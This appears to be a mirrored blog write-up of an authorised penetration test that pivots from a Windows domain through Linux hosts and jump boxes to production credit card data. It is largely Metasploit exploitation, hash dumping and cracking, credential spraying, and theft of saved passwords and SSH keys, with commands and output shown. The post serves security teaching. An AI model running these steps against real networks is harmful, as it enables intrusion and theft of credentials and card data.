Island Hopping the SpiderLabs Way

本文通过实战案例展示了如何从一个疏于防护的企业内部网络逐步渗透到生产环境,揭示了跨网络渗透过程中利用各种技术和手段的过程。从Windows域控制权获取开始,经过Linux网络,最终到达生产环境获取敏感数据。
http://blog.spiderlabs.com/2012/02/island-hopping-the-spiderlabs-way.html?utm_source=feedburner&utm_medium=feed&utm_campaign=Feed%3A+SpiderlabsAnterior+%28SpiderLabs+Anterior%29&utm_content=Google+Reader 

More and more, I find myself having to fight with highly segmented networks and ACL’s.  As a pentester, I long for the old days of flat networks. When you only REALLY needed one broadcast domain, and they made /8’s for a reason.  You fancy kids with your switches and your subnetting; Chopping up your networks into a million segments chock full of ACL’s. You are making me work, and work is hard!

Of course, I kid. Segmentation should be a large part of network design. Its refreshing to see a nicely partitioned network, piled high with an extra helping of ACL's and filtering.

Segmentation was the name of the game with BananaStand, who sells bananas from various outlets. They needed a Penetration Test, and I was happy to oblige. In this particular test, I was after card holder data.  That data lived in the production network in a far-away datacenter. In-between myself and the goods were no less than 4 different security zones, all VLAN'd up. Each network had access control lists (ACL) to the network before it, requiring me to hop through every security zone in order to make it to my final destination. The path looks something like this:

Internal Windows Domain > Internal Linux network > Internet (OMG Clouds!) > SSH Jump Boxes > Production network

You Must Be This Tall to Ride (The Windows Network)

 I plugged into the Internal Windows LAN and got to work. After some quick scans of the local network, I noticed a juicy-looking, neglected Windows 2000 box:

  • 10.10.3.50:445 is running Windows 2000 Service Pack 0 - 4 (name:PBX01) (domain:BANANASTAND)

    Looks like someone forgot to run Windows Update. I loaded up Metasploit and used ms08_067_netapi:

    msf > exploit(ms08_067_netapi) > exploit
    [*] Started bind handler
    [*] Automatically detecting the target...
    [*] Fingerprint: Windows 2000 - Service Pack 0 - 4 - lang:English
    [*] Selected Target: Windows 2000 Universal
    [*] Attempting to trigger the vulnerability...
    [*] Sending stage (752128 bytes) to 10.10.3.52
    [*] Meterpreter session 1 opened (10.10.3.222:49690 -> 10.10.3.50:4444) at 2012-02-01:05:10 -0600
    

    Once that old Win2k system was compromised, I dumped its local password hashes:

    meterpreter > hashdump
    Administrator:500:9372160817E7D6DDF8EB9E79DF318C14:68F85DB59023BCF9E72F03109DF7FD3C:::
    

    The first thing I noticed was that the hashes were stored in LanMan (LM) format. With my LM All-Space Rainbow Tables in hand, I fed in the hashes:

    $ /pentest/rcracki_mt_0.6.6_src/rcracki_mt -t 4 -f bananastand.local /pentest/tables/rti/lm_allspace/
    Using 4 threads for pre-calculation and false alarm checking...
    Found 82 rainbowtable files...
    
    statistics
    -------------------------------------------------------
    
    plaintext found:            2 of 2 (100.00%)
    total disk access time:     214.29 s
    total cryptanalysis time:   24.19 s
    total pre-calculation time: 88.53 s
    total chain walk step:      399880008
    total false alarm:          28370
    total chain walk step due to false alarm: 104820219
    
    result
    -------------------------------------------------------
    
    Administrator         VeeL@nsRul3
    

    So now we know the local user account is the unchanged 'Administrator' and its password, at least on this system, is 'VeeL@nsRul3'. Then I fired up a password-guessing tool to see where else this account was valid:

    # medusa -H windows.hosts -u administrator -p 'VeeL@nsRul3' -M smbnt 
    ACCOUNT FOUND: [smbnt] Host: 10.10.3.124 User: administrator Password: VeeL@nsRul3 [SUCCESS]
    ACCOUNT FOUND: [smbnt] Host: 10.10.3.128 User: administrator Password: VeeL@nsRul3 [SUCCESS]
    ACCOUNT FOUND: [smbnt] Host: 10.10.3.131 User: administrator Password: VeeL@nsRul3 [SUCCESS]
    ACCOUNT FOUND: [smbnt] Host: 10.10.3.139 User: administrator Password: VeeL@nsRul3 [SUCCESS]
    ACCOUNT FOUND: [smbnt] Host: 10.10.3.150 User: administrator Password: VeeL@nsRul3 [SUCCESS]
    ACCOUNT FOUND: [smbnt] Host: 10.10.3.151 User: administrator Password: VeeL@nsRul3 [SUCCESS]
    ACCOUNT FOUND: [smbnt] Host: 10.10.3.152 User: administrator Password: VeeL@nsRul3 [SUCCESS]
    ACCOUNT FOUND: [smbnt] Host: 10.10.3.157 User: administrator Password: VeeL@nsRul3 [SUCCESS]
    ACCOUNT FOUND: [smbnt] Host: 10.10.3.158 User: administrator Password: VeeL@nsRul3 [SUCCESS]
    ACCOUNT FOUND: [smbnt] Host: 10.10.3.50 User: administrator Password: VeeL@nsRul3 [SUCCESS]
    ACCOUNT FOUND: [smbnt] Host: 10.10.3.72 User: administrator Password: VeeL@nsRul3 [SUCCESS]
    ACCOUNT FOUND: [smbnt] Host: 10.10.3.85 User: administrator Password: VeeL@nsRul3 [SUCCESS]
    ACCOUNT FOUND: [smbnt] Host: 10.10.3.94 User: administrator Password: VeeL@nsRul3 [SUCCESS]
    

    With a few clicks, I found that this local administrator account was valid on a ton of other systems. This makes life easier, as I can just pop each system using the local admin account, and then check to see what domain users are logged in. Eventually, I stumbled across the RECEPTION04 system:

    [*] Started bind handler
    [*] Connecting to the server...
    [*] Authenticating to 10.10.3.72:445 as user 'Administrator'...
    [*] Uploading payload...
    [*] Created \kOOvNVqT.exe...
    [*] Binding to 367ab81-944-35f1-ad32-9838001003:2.0@ncacn_np:10.10.3.72[\svcctl] ...
    [*] Bound to 367ab81-944-35f1-ad32-9838001003:2.0@ncacn_np:10.10.3.72[\svcctl] ...
    [*] Obtaining a service manager handle...
    [*] Creating a new service (oIqHXGXi - "MxhiLxUKbWrrBnKLsxugGPyp")...
    [*] Closing service handle...
    [*] Opening service...
    [*] Starting the service...
    [*] Removing the service...
    [*] Closing service handle...
    [*] Deleting \kOOvNRqT.exe...
    [*] Sending stage (752128 bytes) to 10.10.3.72
    [*] Meterpreter session 1 opened (10.10.3.222:58016 -> 10.10.3.72:4444) at 2012-02-01-01:15:14 -0600
    

    Once I had a session on that system, I fired up Incognito and checked to see what user tokens were available. This showed me any interactive (logged-in users) sessions that I could steal.

    meterpreter > use incognito
    success.
    meterpreter > list_tokens -g
    Delegation Tokens Available
    ========================================
    BUILTIN\Administrators
    BUILTIN\Performance Log Users
    BUILTIN\Users
    BANANASTAND\Domain Admins
    BANANASTAND\Domain Users
    BANANASTAND\Enterprise Admins
    NT AUTHORITY\LOCAL SERVICE
    NT AUTHORITY\NETWORK SERVICE
    NT AUTHORITY\This Organization
    

    Someone from the 'Domain Admins' (and amazingly enough, the 'Enterprise Admins') group was logged into this box. Next, I grabbed his password hash using gsecdump:

    meterpreter > upload gsecdump.exe 
    [*] uploading  : gsecdump.exe -> gsecdump.exe
    [*] uploaded   : gsecdump.exe -> gsecdump.exe
    
    meterpreter > shell
    Process 3568 created.
    Channel 4 created.
    Microsoft Windows [Version 5.2.3790]
    (C) Copyright 1985-2003 Microsoft Corp.
    
    C:\>gsecdump.exe -a
    gsecdump.exe -a
    Administrator:500:9372160817E7D6DDF8EB9E79DF318C14:68F85DB59023BCF9E72F03109DF7FD3C:::
    BANANASTAND\backupadmin::EF369B31ED3567BBF74B38A0CE915525:2BF54AE01EE1B234D990C47A635DA850:::
    

    Looks like BANANASTAND\backupadmin was our big winner here. Next, I queried a domain controller (DC) for some more information:

    C:\>net user backupadmin /domain
    net user backupadmin /domain
    The request will be processed at a domain controller for domain BANANASTAND.local.
    
    User name                    backupadmin
    Full Name                    backupadmin
    Comment                      Backup Agent-Service account
    User's comment               
    Country code                 000 (System Default)
    Account active               Yes
    Account expires              Never
     
    Password last set            9/26/2009 6:23 PM
    Password expires             Never
    Password changeable          9/29/2009 6:23 PM
    Password required            Yes
    User may change password     Yes
     
    Workstations allowed         All
    Logon script                 
    User profile                 
    Home directory               
    Last logon                   1/29/2012 3:01 PM
     
    Logon hours allowed          All
     
    Local Group Memberships      
    Global Group memberships     *Domain Users         *BANANASTANDDomainServices  
                                 *Exchange Organization*TechServices                 
                                 *Domain Admins        *Enterprise Admins
    The command completed successfully. 
    

    Just what I wanted - BANANASTAND\backupadmin was a member of the Domain Admins group. Just like before, I loaded up my LM Rainbow Tables to recover the plaintext password for BANANASTAND\backupadmin:

    $ ./rcracki_mt -t 4 -f ./bananastand.backupadmin /pentest/tables/rti/lm_all/
    Using 4 threads for pre-calculation and false alarm checking...
    Found 80 rainbowtable files...
    
    statistics
    -------------------------------------------------------
    plaintext found:            2 of 2 (100.00%)
    total disk access time:     266.36 s
    total cryptanalysis time:   7.34 s
    total pre-calculation time: 22.85 s
    total chain walk step:      149955003
    total false alarm:          12539
    total chain walk step due to false alarm: 46151964
     
    result
    -------------------------------------------------------
    BANANASTAND\backupadmin            iB@ckStuffUP!!
    

    The Linux Network

    At this point, I was Domain Admin on the BANANASTAND domain. My next stop was an adjacent network full of Linux machines - the 172 network. I used my admin-level access to the Windows domain to speed things up a bit. Any mixed Linux / Windows shop will eventually have to use Windows tools to administer Linux systems. Tools such as Putty and WinSCP are common. I found all the BANANASTAND systems that had them installed by dumping the Windows registry uninstall keys via the REG QUERY command:

    # for i in $(cat hosts); do echo $i; ./winexe -U 'BANANASTAND/backupadmin%iB@ckStuffUP!!' --uninstall //$i "REG QUERY HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\ /s" | grep ' DisplayName' | grep -i -e putty -e winscp; done
    
    10.10.3.21
    10.10.3.34
    10.10.3.35
    10.10.3.36
    10.10.3.38
        DisplayName    REG_SZ    WinSCP 4.2.8
    10.10.3.50
        DisplayName    REG_SZ    WinSCP 4.3.6
    10.10.3.56
    10.10.3.76
    10.10.3.77
    10.10.3.81
    10.10.3.85
    

    Great – I found two systems with WinSCP installed. You can manually check the registry to see if the user is using the 'save credentials' feature of WinSCP by dumping the appropriate keys:

    # ./winexe -U 'BANANASTAND/backupadmin%iB@ckStuffUP!!' //10.10.3.38 'reg query "HKEY_USERS\S-1-5-21-605236246-205523031-3074324515-10457\Software\\Martin Prikryl\WinSCP 2" /s'
    
    HKEY_USERS\S-1-5-21-605236246-205523031-3074324515-10457\Software\\Martin Prikryl\WinSCP 2\Sessions\jbob@devbox1.bananastand.local
    
    HostName               REG_SZ   devbox1.bananastand.local
    UserName               REG_SZ   jbob
    Password                 REG_SZ   A35JLQK3J334124NXCIRBCP8Y3B984Q5VTUYCNTUYQV489T6BCQ04TIQP4BPVTLNIIDJVEIACTOEIUTYBCOIETYQ98TBCOEITCQU
    
    
    HKEY_USERS\S-1-5-21-605236246-205523031-3074324515-10457\Software\\Martin Prikryl\WinSCP 2\Sessions\jbob@preprod02.bananastand.local
    HostName               REG_SZ   preprod02.bananastand.local
    Password                 REG_SZ   A35JLQK3J334124NXCIRBCP8Y3B984Q5VTUYCNTUYQV489T6BCQ04TIQP4BPVTLNIIDJVEIACTOEIUTYBCOIETYQ98TBCOEITCQU
    UserName               REG_SZ   jbob
    

    It looks like this user was saving passwords in WinSCP. By default, the way WinSCP stores its password hashes in the registry is very weak. It uses a known string and XOR value to obfuscate the password. Knowing the method, it possible to obtain the cleartext passwords using a little voodoo. I cheated and just used the Metasploit post module:

    meterpreter > run post/windows/gather/credentials/winscp 
    
    [*] Looking for WinSCP.ini file storage...
    [*] WinSCP.ini file NOT found...
    [*] Looking for Registry Storage...
    [*] Host: devbox1.bananastand.local  Port: 22 Protocol: SCP  Username: jbob  Password: secretp@ssw0rd!@#
    [*] Host: preprod02.bananastand.local  Port: 22 Protocol: SCP  Username: jbob  Password: secretp@ssw0rd!@#
    [*] Done!
    

    Once I had the cleartext passwords for the jbob account, I tried to login to the corresponding systems:

    # ssh jbob@devbox1.bananastand.local
    jbob@devbox1.bananastand.local's password: 
    Last login: Wed Feb 01 01:53:36 2012 from 10.10.3.222
    [jbob@devbox1 ~]$ 
    

    Fantastic, the accounts were still valid. I poked around the system for a bit and noticed that jbob was in the sudoers group:

    [jbob@devbox1 ~]$ sudo su
    jbob Password:
    [root@devbox1 guest]# whoami
    root
    

    I ran a quick password test to see what other Linux systems shared jbob’s creds:

    # ncrack -iL linux.ssh.hosts --user jbob --pass 'secretp@ssw0rd!@#' -p ssh
    
    Starting Ncrack 0.4ALPHA ( http://ncrack.org ) at 2012-02-01 01:55 CST
    Discovered credentials on ssh://172.30.60.100:22 'jbob' 'secretp@ssw0rd!@#'
    Discovered credentials on ssh://172.30.60.29:22 'jbob' 'secretp@ssw0rd!@#'
    Discovered credentials on ssh://172.30.60.33:22 'jbob' 'secretp@ssw0rd!@#'
    Discovered credentials on ssh://172.30.60.102:22 'jbob' 'secretp@ssw0rd!@#'
    Discovered credentials on ssh://172.30.60.25:22 'jbob' 'secretp@ssw0rd!@#'
    Discovered credentials on ssh://172.30.60.39:22 'jbob' 'secretp@ssw0rd!@#'
    Discovered credentials on ssh://172.30.60.34:22 'jbob' 'secretp@ssw0rd!@#'
    Discovered credentials on ssh://172.30.60.112:22 'jbob' 'secretp@ssw0rd!@#'
    ...
    

    Empty your pockets, kid!

    So at this point, I’ve managed to root just about everything at this location. I popped the Windows domain, and then I hopped into the adjacent Linux network. From here - I had to find my way across the Internet and into a pair of SSH jump boxes at BananaStand’s colo environment, and then into the production network behind them. I got back to work. 

    With user / sudo access to a ton of Linux machines, I wrote a quick script to run around to each one and grab /etc/shadow and any ~/.ssh/ folders. After pouring over the results, I noticed most of the systems had the same key in /home/nagios/.ssh/authorized_keys (originating from nagmon01.bananastand.local):

    [root@devbox1 ~]# cat /home/nagios/.ssh/authorized_keys 
    #Key for Nagios checks over SSH
    ssh-rsa MIIEowIBAA2KCAQEAxQaP4qjFbwdYFmB52VaHHtazabA8Hqb8GFY0VP5p8lnVZwmo2I3QmE7DXjGNqE8DlDa10QNO1FK5YvgG2sKauR3BQgGrA3fot2q4qKBhOjDeB08Ldj42wUhfVXuDYc5AcdXe=  nagios@nagmon01.bananastand.local
    

    I then went after the nagmon01 system to see if I could use the jbob account to get into it. I couldn’t access the nagmon01 system directly from the Windows network - so I had to hop through another Linux host in the 172 net first:

    # ssh jbob@devbox1.bananastand.local
    jbob@devbox1.bananastand.local's password:
    Last login: Wed Feb 01 02:33:36 2012 from 10.10.3.222
    [jbob@devbox1 ~]$
    

    Now that I am sourcing from the 172 network, I can hit that nagmon01 box:

    [jbob@devbox1 ~]$ ssh jbob@nagmon01.bananastand.local
    jbob@nagmon01.bananastand.local's password: 
    Last login: Mon Feb 01 02:38:25 2012 from devbox1.bananastand.local
    [jbob@nagmon01 ~]$
    

    Thank goodness for shared credentials! Next, I wanted to see if we had sudo access on this box as well:

    [jbob@nagmon01 ~]$ sudo su
    jbob Password:
    [root@nagmon01 ]# whoami
    root
    

    Perfect. I've now got root access to the nagios monitoring box in the 172 Linux network. Next, I hopped over to the nagios user so I could use its SSH key (the private SSH key to the public counterpart we found earlier):

    [root@nagmon01 ]# su nagios
    [nagios@nagmon01 ]$ whoami
    nagios
    

    Out of the house and into the clouds

    When I took a peek at .ssh/known_hosts on nagmon01, I saw over 500 systems listed. This Nagios install was a talker! Spot-checking a few of the hosts listed gave me very limited permissions, and the nagios user wasn’t in the sudo group. Even if it was, I would need to know the password to this account to use it.  I found a pair of public IP addresses in the known_hosts file; The SSH jump boxes out at the colo. I tried to log in (note the lack of password input - I used the SSH key for auth here):

    [nagios@nagmon01 ~]$ ssh jumpbox01.bananastand.local
    
    **************************************************************************
                                                                                                                     
                  This system is for authorized users only.                      
      Access by non-bananastand users will result in hospitalization.   
                   Press Ctrl-C to end this login attempt                       
                                                                                                                     
    **************************************************************************
    
    [nagios@jumpbox01.bananastand.local ~]$ 
    

    So I've made my way onto one of the jump boxes at the colo, but I had super limited privileges. I started poking around in /etc looking for something I could grab - but I couldn’t read /etc/shadow to grab hashes. In a stroke of hacker luck, I found /etc/shadow.backup set with world-read rights. I grabbed a copy and got to cracking. A couple hours of coffee chugging and GPU abuse later, I managed to recover the following accounts:

    • nagios:NO PASSWORD
    • jgrunz:i<3cats2
    • jaku:beta955
    • ptj:lilw@yne
    • zfas:brb.clubING

    Backing up one hop, I tried each recovered account against the jumpbox01 system. All the accounts were valid - but the ptj account was the only one with sudo rights. Since we arent using a SSH key anymore, and we know the password to the ptj account, we can login and sudo to root:

    [nagios@nagmon01 ~]$ ssh ptj@jumpbox01.bananastand.local
    
     **************************************************************************
                                                                                                                     
                  This system is for authorized users only.                      
      Access by non-bananastand users will result in hospitalization.   
                   Press Ctrl-C to end this login attempt                       
                                                                                                                     
    **************************************************************************
    
    ptj@jumpbox01.bananastand.local's password:
    [ptj@jumpbox01.bananastand.local ~]$
    

    Then I used sudo to hop to root:

    [ptj@jumpbox01.bananastand.local ~]$ sudo su
    ptj Password:
    [root@jumpbox01 /home/ptj]#
    

    Your production is my production

    I am now root on one of the SSH jump boxes at the colo net. I have one more hop into the production network.  A peek at /etc/hosts showed me a short list of systems in the production net. Using the same ptj account, I scanned the prod systems and found that 3 or 4 of them shared the same ptj account credentials. Bad ptj!

    [root@jumpbox01 /home/ptj]# ssh ptj@web02.prod
    ptj@web02.prod's password: 
    [ptj@web02.prod ~]$ sudo su
    ptj Password:
    [root@web02.prod /home/ptj]# whoami
    root
    

    Once root on a production target machine, I started to dig for credit card numbers. I stumbled across /mnt/data/outgoing_reconcile. It appeared to be temporary storage for credit card transactions on their way out to the payment processor.  I took a peek into one of the files and found a bit over 370 lines, each with a name, address, cleartext credit card number and its CVV2 value:

    [root@web02.prod outgoing_reconcile]# wc -l 55048534448374.outgoing
    374
    

    Then I checked to see how many total files were in that folder:

    [root@web02.prod outgoing_reconcile]# ls *.outgoing | wc -l 
    856
    

    If there’s an average of 370 entries per file, and that folder had 850+ outgoing files, that gives us more than 300,000 potential credit card numbers. Bananas are hot business!

    To recap - I had to compromise the following systems in order to arrive here:

    • The entire Windows domain - so I could find the machines with WinSCP installed.
    • devbox1.bananastand.local - Located in the Linux network. I used creds found on the Windows network to access it.
    • nagmon01.bananastand.local - Monitoring system in the Linux network. I got here using jbob's shared credentials.
    • jumpbox01.bananastand.local - The SSH Jump Box located at the Colo. Monitored by the nagmon01 system via SSH keys. Also the only way to get into the production network.
    • web02.prod - A production webserver located inside the Colo. Found in excess of 300,000 credit card numbers stored here.

    In the end, I had Domain Admin on the BANANASTAND domain, and either root or limited user access to the majority of Linux systems. I used this access to bypass ACL's and hop onto one of the SSH jump boxes at the colo. From the jump box, I used shared credentials to log onto one of the production web servers and dump customer credit card data.

    So there you have it; the story of BananaStand. They had a decent network setup with good segmentation and restrictive security zones. However, poor patching and password policies made it an easy task to hop from one network to the next, defeating ACL's as we went. At least for hackers, theres always money in the Banana Stand.

    评论
    添加红包

    请填写红包祝福语或标题

    红包个数最小为10个

    红包金额最低5元

    当前余额3.43前往充值 >
    需支付:10.00
    成就一亿技术人!
    领取后你会自动成为博主和红包主的粉丝 规则
    hope_wisdom
    发出的红包
    实付
    使用余额支付
    点击重新获取
    扫码支付
    钱包余额 0

    抵扣说明:

    1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
    2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

    余额充值